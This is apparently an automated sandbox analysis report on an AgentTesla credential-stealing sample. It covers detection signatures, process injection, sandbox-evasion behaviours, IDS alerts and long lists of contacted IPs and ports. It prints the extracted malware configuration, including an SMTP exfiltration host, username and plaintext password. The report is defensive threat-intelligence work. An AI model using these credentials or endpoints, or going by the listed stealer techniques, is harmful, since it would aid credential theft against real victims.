Edit tour

Windows Analysis Report
Your file name without extension goes here.exe

Overview

General Information

Sample name:	Your file name without extension goes here.exe
Analysis ID:	1406659
MD5:	6f4ef9cfdd9d5962578f69740dca09bd
SHA1:	8e5b7b9f87407c5d363ae8c45f59c259de3619b8
SHA256:	79ef6130bcae3d19cd786c7728c365af3146fb268a6eaf75e6e9db9aa136b374
Tags:	exe
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected AgentTesla

Check if machine is in data center or colocation facility

Connects to many IPs within the same subnet mask (likely port scanning)

Connects to many ports of the same IP (likely port scanning)

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Performs DNS queries to domains with low reputation

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Potentially Suspicious Malware Callback Communication

Sigma detected: Suspicious Outbound Kerberos Connection

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses known network protocols on non-standard ports

Writes to foreign memory regions

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Connects to several IPs in different countries

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates processes with suspicious names

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file does not import any functions

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Suspicious Outbound SMTP Connections

Tries to load missing DLLs

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Your file name without extension goes here.exe (PID: 2796 cmdline: C:\Users\user\Desktop\Your file name without extension goes here.exe MD5: 6F4EF9CFDD9D5962578F69740DCA09BD)

jsc.exe (PID: 39268 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe MD5: 94C8E57A80DFCA2482DEDB87B93D4FD9)

WerFault.exe (PID: 39528 cmdline: C:\Windows\system32\WerFault.exe -u -p 2796 -s 7032 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.supplyvan.xyz", "Username": "obi@supplyvan.xyz", "Password": "Ifeanyi1987@"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2587555159.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2587555159.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000005.00000002.2593731656.0000000002F61000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2593731656.0000000002F61000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: jsc.exe PID: 39268	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: jsc.exe PID: 39268	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.jsc.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.jsc.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.jsc.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
5.2.jsc.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34291:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34303:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3438d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3441f:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x34489:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x344fb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34591:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34621:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious Malware Callback Communication

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 113.250.189.196, DesusertionIsIpv6: false, DesusertionPort: 7777, EventID: 3, Image: C:\Users\user\Desktop\Your file name without extension goes here.exe, Initiated: true, ProcessId: 2796, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 51230

Sigma detected: Suspicious Outbound Kerberos Connection

Source: Network Connection

Author: Ilyas Ochkov, oscd.community: Data: DesusertionIp: 5.161.103.41, DesusertionIsIpv6: false, DesusertionPort: 88, EventID: 3, Image: C:\Users\user\Desktop\Your file name without extension goes here.exe, Initiated: true, ProcessId: 2796, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 53166

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 46.0.203.186, DesusertionIsIpv6: false, DesusertionPort: 8080, EventID: 3, Image: C:\Users\user\Desktop\Your file name without extension goes here.exe, Initiated: true, ProcessId: 2796, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49720

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DesusertionIp: 160.248.80.91, DesusertionIsIpv6: false, DesusertionPort: 2525, EventID: 3, Image: C:\Users\user\Desktop\Your file name without extension goes here.exe, Initiated: true, ProcessId: 2796, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 50044

Snort Signatures

ETPRO TROJAN Observed Hello2Malware Domain in TLS SNI - Source IP: 192.168.2.9 - Destination IP: 172.67.190.93

Timestamp:	03/11/24-15:21:04.566825
SID:	2856465
Source Port:	52543
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Observed Hello2Malware Domain - Source IP: 192.168.2.9 - Destination IP: 172.67.190.93

Timestamp:	03/11/24-15:21:04.566825
SID:	2856401
Source Port:	52543
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN DNS Query to Hello2Malware Domain - Source IP: 192.168.2.9 - Destination IP: 1.1.1.1

Timestamp:	03/11/24-15:21:04.353261
SID:	2856462
Source Port:	62177
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ETPRO TROJAN DNS Query to Hello2Malware Domain - Source IP: 192.168.2.9 - Destination IP: 1.1.1.1

Timestamp:	03/11/24-15:21:04.353261
SID:	2856398
Source Port:	62177
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Your file name without extension goes here.exe

Avira: detected

Found malware configuration

Source: 5.2.jsc.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.supplyvan.xyz", "Username": "obi@supplyvan.xyz", "Password": "Ifeanyi1987@"}

Multi AV Scanner detection for submitted file

Source: Your file name without extension goes here.exe

ReversingLabs: Detection: 52%

Machine Learning detection for sample

Source: Your file name without extension goes here.exe

Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 140.82.114.3:443 -> 192.168.2.9:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.190.93:443 -> 192.168.2.9:52543 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 222.255.238.159:443 -> 192.168.2.9:55161 version: TLS 1.2

Source: Your file name without extension goes here.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: Your file name without extension goes here.PDBA source: Your file name without extension goes here.exe, 00000001.00000002.2632854919.000000B3BA903000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Desktop\Your file name without extension goes here.PDB source: Your file name without extension goes here.exe, 00000001.00000002.2632854919.000000B3BA903000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: pC:\Users\user\Desktop\Your file name without extension goes here.PDB source: Your file name without extension goes here.exe, 00000001.00000002.2632854919.000000B3BA903000.00000004.00000010.00020000.00000000.sdmp

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2856462 ETPRO TROJAN DNS Query to Hello2Malware Domain 192.168.2.9:62177 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2856398 ETPRO TROJAN DNS Query to Hello2Malware Domain 192.168.2.9:62177 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2856465 ETPRO TROJAN Observed Hello2Malware Domain in TLS SNI 192.168.2.9:52543 -> 172.67.190.93:443
Source: Traffic	Snort IDS: 2856401 ETPRO TROJAN Observed Hello2Malware Domain 192.168.2.9:52543 -> 172.67.190.93:443

Connects to many IPs within the same subnet mask (likely port scanning)

Source: global traffic	TCP traffic: Count: 11 IPs: 212.110.188.189,212.110.188.222,212.110.188.211,212.110.188.213,212.110.188.202,212.110.188.220,212.110.188.198,212.110.188.195,212.110.188.22,212.110.188.216,212.110.188.207
Source: global traffic	TCP traffic: Count: 15 IPs: 103.47.93.225,103.47.93.245,103.47.93.216,103.47.93.227,103.47.93.238,103.47.93.250,103.47.93.194,103.47.93.193,103.47.93.221,103.47.93.210,103.47.93.243,103.47.93.220,103.47.93.242,103.47.93.231,103.47.93.252
Source: global traffic	TCP traffic: Count: 16 IPs: 188.132.222.171,188.132.222.194,188.132.222.141,188.132.222.168,188.132.222.7,188.132.222.167,188.132.222.9,188.132.222.52,188.132.222.3,188.132.222.44,188.132.222.5,188.132.222.40,188.132.222.51,188.132.222.38,188.132.222.12,188.132.222.14
Source: global traffic	TCP traffic: Count: 10 IPs: 72.10.160.170,72.10.160.91,72.10.160.90,72.10.160.174,72.10.160.173,72.10.160.172,72.10.160.171,72.10.160.93,72.10.160.92,72.10.160.94
Source: global traffic	TCP traffic: Count: 10 IPs: 184.178.172.13,184.178.172.23,184.178.172.26,184.178.172.14,184.178.172.25,184.178.172.17,184.178.172.28,184.178.172.18,184.178.172.5,184.178.172.11

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 8.217.44.229 ports 15673,1,3,5,6,7
Source: global traffic	TCP traffic: 18.135.133.116 ports 1,2,3,3128,8,80
Source: global traffic	TCP traffic: 13.234.24.116 ports 1080,1,2,3,3128,8
Source: global traffic	TCP traffic: 144.91.107.252 ports 18940,0,1,4,8,9
Source: global traffic	TCP traffic: 45.11.95.166 ports 6012,6003,6014,6002,6015,6004,0,1,2,6,6009
Source: global traffic	TCP traffic: 47.242.15.120 ports 15673,1,3,5,6,7
Source: global traffic	TCP traffic: 45.11.95.165 ports 6010,6012,5034,5212,5025,5036,6048,5040,1,2,5,9,5039,6009,5219
Source: global traffic	TCP traffic: 207.180.234.220 ports 45876,48963,47476,39323,44437,42823,3,4,7,39737,37736
Source: global traffic	TCP traffic: 132.148.245.247 ports 7183,0,60349,3,4,6,9
Source: global traffic	TCP traffic: 107.180.95.177 ports 64731,63951,1,2,7,8,7128
Source: global traffic	TCP traffic: 148.72.23.56 ports 42312,36111,3260,0,2,3,6,60069,4833
Source: global traffic	TCP traffic: 94.131.14.66 ports 1080,1081,0,1,3128,8
Source: global traffic	TCP traffic: 164.92.86.113 ports 64110,63358,62987,57391,0,1,55651,4,6,54597,50564,60283
Source: global traffic	TCP traffic: 147.182.194.76 ports 29703,0,2,3,7,9
Source: global traffic	TCP traffic: 203.96.177.211 ports 12183,43839,1,2,3,55005,8,15901
Source: global traffic	TCP traffic: 162.241.6.97 ports 41274,46783,59991,44607,45629,31794,2,4,5,6,50563,60651,9
Source: global traffic	TCP traffic: 157.245.82.62 ports 3,4,5,7,59347,9
Source: global traffic	TCP traffic: 162.241.158.204 ports 63360,41274,46783,44607,59991,0,31794,4,6,50563,52980,7,60651
Source: global traffic	TCP traffic: 37.187.77.58 ports 49507,64494,14470,21861,59870,52593,31355,2,3,3139,5,9,13412,18936,13574,37920,19767,10710,29380
Source: global traffic	TCP traffic: 104.36.166.34 ports 47935,50260,3,4,5,7,9
Source: global traffic	TCP traffic: 72.10.160.90 ports 17247,24809,11691,24079,20969,29129,1811,1,6,9,13643,16897,15587
Source: global traffic	TCP traffic: 163.172.129.251 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 72.10.160.170 ports 20289,5385,8175,3,5,21709,1375,8,3801
Source: global traffic	TCP traffic: 72.10.160.173 ports 0,1,12339,32521,6,7,10677,12621
Source: global traffic	TCP traffic: 72.10.160.171 ports 32261,1,2,3,6,6227,5369
Source: global traffic	TCP traffic: 159.89.194.121 ports 16075,1,2,3,9,21193,8738
Source: global traffic	TCP traffic: 154.12.253.232 ports 12263,57447,4,5,7,52127
Source: global traffic	TCP traffic: 51.222.241.157 ports 44029,22538,51718,36363,27206,5717,2,3,5,6,30011,2563,46286
Source: global traffic	TCP traffic: 128.199.221.91 ports 7176,49865,8004,33383,21605,0,1,2,5,6,30447
Source: global traffic	TCP traffic: 160.248.80.91 ports 8080,0,2525,587,8,80
Source: global traffic	TCP traffic: 163.172.131.178 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 167.172.109.12 ports 39452,46249,39533,37355,40825,3,5,9,41491
Source: global traffic	TCP traffic: 161.97.173.42 ports 62289,22653,0,3,5,6,50386,8,37455,15015,53948
Source: global traffic	TCP traffic: 185.109.184.150 ports 1,53155,3,63819,56067,5
Source: global traffic	TCP traffic: 161.97.173.78 ports 1,7818,4,5,9,49145
Source: global traffic	TCP traffic: 45.240.182.120 ports 1976,1,1975,6,1981,7,9
Source: global traffic	TCP traffic: 37.187.91.192 ports 21981,1,2,8,9,17605
Source: global traffic	TCP traffic: 162.214.227.68 ports 43435,48414,45540,55392,0,1,2,3,4,55029,52597,60433,31042,54047,56796,31825,37976,51923,52208
Source: global traffic	TCP traffic: 85.25.177.53 ports 57699,58851,5,6,7,9,55217
Source: global traffic	TCP traffic: 5.135.137.13 ports 59124,1,2,4,5,9
Source: global traffic	TCP traffic: 161.97.163.52 ports 64120,9045,18693,32092,64109,0,30189,2,28593,31125,4,22040,34586,29631,55109,34916
Source: global traffic	TCP traffic: 167.99.39.82 ports 1,3,4,6,8,13486
Source: global traffic	TCP traffic: 91.142.222.84 ports 22735,57041,2,3,5,7,12266,55718
Source: global traffic	TCP traffic: 83.151.4.172 ports 1,2,57812,5,7,8
Source: global traffic	TCP traffic: 51.161.99.114 ports 48235,29758,2,5,7,8,9
Source: global traffic	TCP traffic: 132.148.16.169 ports 27718,2,3,5,6,55610,52326,11320
Source: global traffic	TCP traffic: 162.241.46.54 ports 58330,46849,3,5,53783,7,8
Source: global traffic	TCP traffic: 162.214.225.223 ports 37581,54917,43435,48414,63452,49227,43265,34071,58240,49806,2,36129,3,53340,4,55029,5,6,55742,50753,39824
Source: global traffic	TCP traffic: 103.160.207.49 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 163.172.147.89 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 162.241.46.69 ports 46849,4,6,53783,8,9
Source: global traffic	TCP traffic: 49.12.126.53 ports 57144,1,51251,4,5,7
Source: global traffic	TCP traffic: 208.87.131.240 ports 41368,22566,1,3,4,6,8
Source: global traffic	TCP traffic: 159.223.173.237 ports 0,1,2,5,7,12057
Source: global traffic	TCP traffic: 51.38.63.124 ports 2,27294,4,7,9,10983
Source: global traffic	TCP traffic: 160.153.254.240 ports 48502,0,2,4,5,8
Source: global traffic	TCP traffic: 38.91.107.224 ports 1,2,3,7,9,27391
Source: global traffic	TCP traffic: 51.15.133.214 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 125.25.40.41 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 195.138.73.54 ports 44017,0,1,31145,4,7
Source: global traffic	TCP traffic: 51.15.210.79 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 148.66.130.53 ports 7830,31907,56350,23998,0,1,3,5,47891,13305,54209
Source: global traffic	TCP traffic: 50.63.12.33 ports 9367,23859,0,2,14738,25492,4,50781,5,22450,52814
Source: global traffic	TCP traffic: 46.250.25.225 ports 53281,1,2,3,5,8
Source: global traffic	TCP traffic: 176.9.119.252 ports 30172,0,1,2,3,7
Source: global traffic	TCP traffic: 51.158.108.165 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 163.172.94.175 ports 19144,21617,38390,1,2,6,7
Source: global traffic	TCP traffic: 162.240.72.139 ports 20614,3,25591,4,5,7,37445
Source: global traffic	TCP traffic: 51.89.173.40 ports 17982,27887,3100,44719,26545,23313,54570,23854,20435,1,30199,2,55198,60775,7,8,9,11058,31724
Source: global traffic	TCP traffic: 206.189.145.23 ports 49614,63625,59867,5,6,7,8,9
Source: global traffic	TCP traffic: 163.172.169.27 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 147.75.92.251 ports 9401,0,1,8,9,10010,10089,10006
Source: global traffic	TCP traffic: 38.54.101.254 ports 9000,1,2,3,3128,8
Source: global traffic	TCP traffic: 159.223.71.71 ports 59243,56581,1,61818,59159,52542,5,51187,6,60377,51213,64193,51616
Source: global traffic	TCP traffic: 184.174.75.86 ports 1,2,4,5,7,51724
Source: global traffic	TCP traffic: 66.228.33.190 ports 17464,14791,7841,46648,0,4,44809,8,9
Source: global traffic	TCP traffic: 162.241.66.135 ports 3,4,34455,5,53476,51535
Source: global traffic	TCP traffic: 20.205.61.143 ports 8123,1,2,3,8,80
Source: global traffic	TCP traffic: 38.54.95.19 ports 8060,0,3128,9080,8,9
Source: global traffic	TCP traffic: 175.183.82.221 ports 8193,8197,1,3,8,80,9
Source: global traffic	TCP traffic: 162.214.121.173 ports 64579,44826,2,4,6,33572,8,52577,64382
Source: global traffic	TCP traffic: 92.205.61.38 ports 50903,21286,24663,36073,0,24183,3,5,9
Source: global traffic	TCP traffic: 162.241.114.39 ports 0,1,10249,2,4,9
Source: global traffic	TCP traffic: 202.165.38.185 ports 1,3,5,7,8,17538
Source: global traffic	TCP traffic: 51.161.33.206 ports 44523,63404,2,3,4,5,13003,29360
Source: global traffic	TCP traffic: 45.117.179.179 ports 6522,14791,27836,2,35942,3547,5,6,18701,55606
Source: global traffic	TCP traffic: 104.128.103.32 ports 64312,1,2,3,4,6
Source: global traffic	TCP traffic: 103.182.112.11 ports 8000,5000,1,2,3,3128,8
Source: global traffic	TCP traffic: 132.148.128.88 ports 26606,8595,29745,20317,1,2,3,29313,9
Source: global traffic	TCP traffic: 165.227.104.122 ports 29992,3,26042,5,8,9,58839
Source: global traffic	TCP traffic: 58.234.116.197 ports 8193,8197,1,3,8,80,9
Source: global traffic	TCP traffic: 107.180.90.88 ports 63100,20309,0,2,3,9,64081,7936
Source: global traffic	TCP traffic: 103.29.90.66 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 167.172.159.43 ports 22847,2,1258,4,7,8,31306
Source: global traffic	TCP traffic: 200.116.198.160 ports 2,5,7,8,9,58927
Source: global traffic	TCP traffic: 94.23.220.136 ports 43751,25256,0,1,2,6,21062,29295
Source: global traffic	TCP traffic: 66.42.60.190 ports 21358,1,2,3,5,8
Source: global traffic	TCP traffic: 162.241.53.72 ports 57495,57364,1,2,6,9,53755,62192
Source: global traffic	TCP traffic: 37.187.73.7 ports 41385,23637,12582,16113,2,3,6,7,64052
Source: global traffic	TCP traffic: 66.228.37.252 ports 14791,7841,1,4,7,8
Source: global traffic	TCP traffic: 207.244.241.165 ports 53718,1,3,5,7,8
Source: global traffic	TCP traffic: 216.10.242.18 ports 40571,15881,0,1,4,5,7,30670
Source: global traffic	TCP traffic: 104.238.111.107 ports 5484,5452,3230,26305,23667,56225,2,30026,4,5,7999,53777
Source: global traffic	TCP traffic: 159.203.5.54 ports 58249,2,4,5,8,9
Source: global traffic	TCP traffic: 161.97.170.209 ports 24606,1,2,6,9,62291
Source: global traffic	TCP traffic: 107.180.103.214 ports 13286,45870,61634,1,3,4,6
Source: global traffic	TCP traffic: 92.204.134.38 ports 52929,25825,9375,15393,7785,42571,25675,29718,3,1555,56177,5,54467,28695,7,51123,30747,9,59727
Source: global traffic	TCP traffic: 128.199.196.31 ports 21049,26579,0,1,2,27102,7,38832,57715
Source: global traffic	TCP traffic: 88.202.230.103 ports 46475,8896,17045,4,5,6,7
Source: global traffic	TCP traffic: 8.217.143.187 ports 15673,1,3,5,6,7
Source: global traffic	TCP traffic: 181.212.136.34 ports 3,4,8,48993,9,7518
Source: global traffic	TCP traffic: 72.167.222.113 ports 39574,12581,3,4,5,7,4125,9
Source: global traffic	TCP traffic: 41.65.236.39 ports 1976,1,6,1981,7,9
Source: global traffic	TCP traffic: 37.44.238.2 ports 1,53471,3,4,5,7
Source: global traffic	TCP traffic: 67.43.227.228 ports 23725,9039,21207,22611,1,2,6
Source: global traffic	TCP traffic: 67.43.227.227 ports 15021,19403,13351,2363,26689,8197,26437,20107,28549,22611,25427,1,4519,3,32477,5,1311,1929,13537
Source: global traffic	TCP traffic: 67.43.227.226 ports 25639,0,1,10977,7,9
Source: global traffic	TCP traffic: 51.68.164.77 ports 16892,0,4,5,54504,32824
Source: global traffic	TCP traffic: 159.223.166.21 ports 5078,5199,1372,45537,21898,1,2,25154,8,9,47460
Source: global traffic	TCP traffic: 31.24.44.92 ports 0,1,52173,5,9,50687,50109
Source: global traffic	TCP traffic: 98.162.25.4 ports 1,31654,3,4,5,6
Source: global traffic	TCP traffic: 197.248.86.237 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 75.119.145.169 ports 38023,61344,61553,1,3,5,6
Source: global traffic	TCP traffic: 67.43.228.253 ports 19643,14493,26619,18153,25125,24773,29821,27285,23085,15623,13225,18937,15109,18657,3091,19513,14461,1473,0,2,14869,3,5,8,1805,6879
Source: global traffic	TCP traffic: 67.43.228.250 ports 18633,0,2,5,33067,9,13225,11781,2509,13889
Source: global traffic	TCP traffic: 92.204.136.149 ports 16691,25137,1,16928,2,3,5,53035,7
Source: global traffic	TCP traffic: 148.72.209.174 ports 38088,39027,0,64938,3,29544,8,39458,2906,16203,4734,12446
Source: global traffic	TCP traffic: 132.148.167.231 ports 46983,3,4,6,8,9
Source: global traffic	TCP traffic: 198.12.255.193 ports 22785,1,2,6,8,6821,51612
Source: global traffic	TCP traffic: 139.162.181.177 ports 0,27660,57942,60844,2,6,7
Source: global traffic	TCP traffic: 139.162.238.184 ports 21017,39652,22243,2,3,5,6,29851,9
Source: global traffic	TCP traffic: 51.161.131.84 ports 63055,25843,43712,1,58612,2,5,6,8,49202,19987
Source: global traffic	TCP traffic: 117.160.250.163 ports 8080,8081,9990,0,1,8,80,81,9999,82,8828
Source: global traffic	TCP traffic: 51.75.126.150 ports 36580,19693,36694,15474,1,3,11802,35632,6,34144,9,4228,37847
Source: global traffic	TCP traffic: 209.126.104.38 ports 44412,40053,15097,40750,1,2,4,5,7,12457
Source: global traffic	TCP traffic: 211.222.252.187 ports 8193,8080,8197,1,3,8,80,9
Source: global traffic	TCP traffic: 186.215.87.194 ports 8893,8891,8892,3,8,9
Source: global traffic	TCP traffic: 37.32.98.160 ports 3,5,7,8,8998,37758
Source: global traffic	TCP traffic: 130.162.213.175 ports 8080,1,2,3129,3,3128,9
Source: global traffic	TCP traffic: 64.227.108.25 ports 31908,0,1,3,8,9
Source: global traffic	TCP traffic: 135.148.10.161 ports 51507,41146,3970,31696,1,6,7,6716
Source: global traffic	TCP traffic: 67.43.236.19 ports 24863,0,1,5,7,8,10587
Source: global traffic	TCP traffic: 213.136.78.200 ports 28513,1,2,5,9,19925
Source: global traffic	TCP traffic: 67.43.236.20 ports 21069,5881,5585,27583,26271,10713,7117,7315,8309,10775,24725,9799,8127,6961,3199,26009,27715,23997,11679,1,16829,6,7,22043,9
Source: global traffic	TCP traffic: 72.10.164.178 ports 25709,13341,1581,26677,32589,2345,10519,28135,31439,15049,17705,6823,10235,23911,24465,28987,29915,2083,21811,1,1645,10801,5,2893,8,4613,29471
Source: global traffic	TCP traffic: 162.241.45.22 ports 50528,44931,63501,0,1,5,6,55610
Source: global traffic	TCP traffic: 43.129.228.46 ports 7891,7890,1,7,8,9
Source: global traffic	TCP traffic: 171.244.140.160 ports 15141,5189,62310,14253,24015,17081,0,2,31643,27020,27056,7,37400,53749
Source: global traffic	TCP traffic: 36.95.84.151 ports 41890,0,1,4,8,9
Source: global traffic	TCP traffic: 167.86.69.142 ports 36394,42214,45364,1,2,4
Source: global traffic	TCP traffic: 162.214.170.144 ports 25347,2,3,32233,53548,31701
Source: global traffic	TCP traffic: 162.241.79.22 ports 1,3,5,52048,8,50207,35318
Source: global traffic	TCP traffic: 91.134.140.160 ports 20896,48962,2572,57320,56495,27207,9141,32588,11946,12217,16487,49687,32896,53012,30895,2,3,5,8,8879,5401,51513,39803,49042
Source: global traffic	TCP traffic: 160.153.245.187 ports 38586,2287,1,35138,59786,6,6116,31745
Source: global traffic	TCP traffic: 184.178.172.18 ports 15280,0,1,2,5,8
Source: global traffic	TCP traffic: 43.131.245.216 ports 15673,1,3,5,6,7
Source: global traffic	TCP traffic: 45.81.232.17 ports 27855,59421,54393,23711,1,2,4,5,23363,9,21481,17639,14669,48085
Source: global traffic	TCP traffic: 8.213.128.90 ports 808,0,4,444,5,6,6666,7779,4506
Source: global traffic	TCP traffic: 51.15.142.4 ports 1,3,6,7,9,16379

Performs DNS queries to domains with low reputation

Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	DNS query: mail.supplyvan.xyz
Source:	DNS query: mail.supplyvan.xyz

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 52593
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 29212
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 29703
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 51718
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 8002
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 10011
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 8889
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 13412
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 7891
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 8899
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 3950
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 10000
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 1080
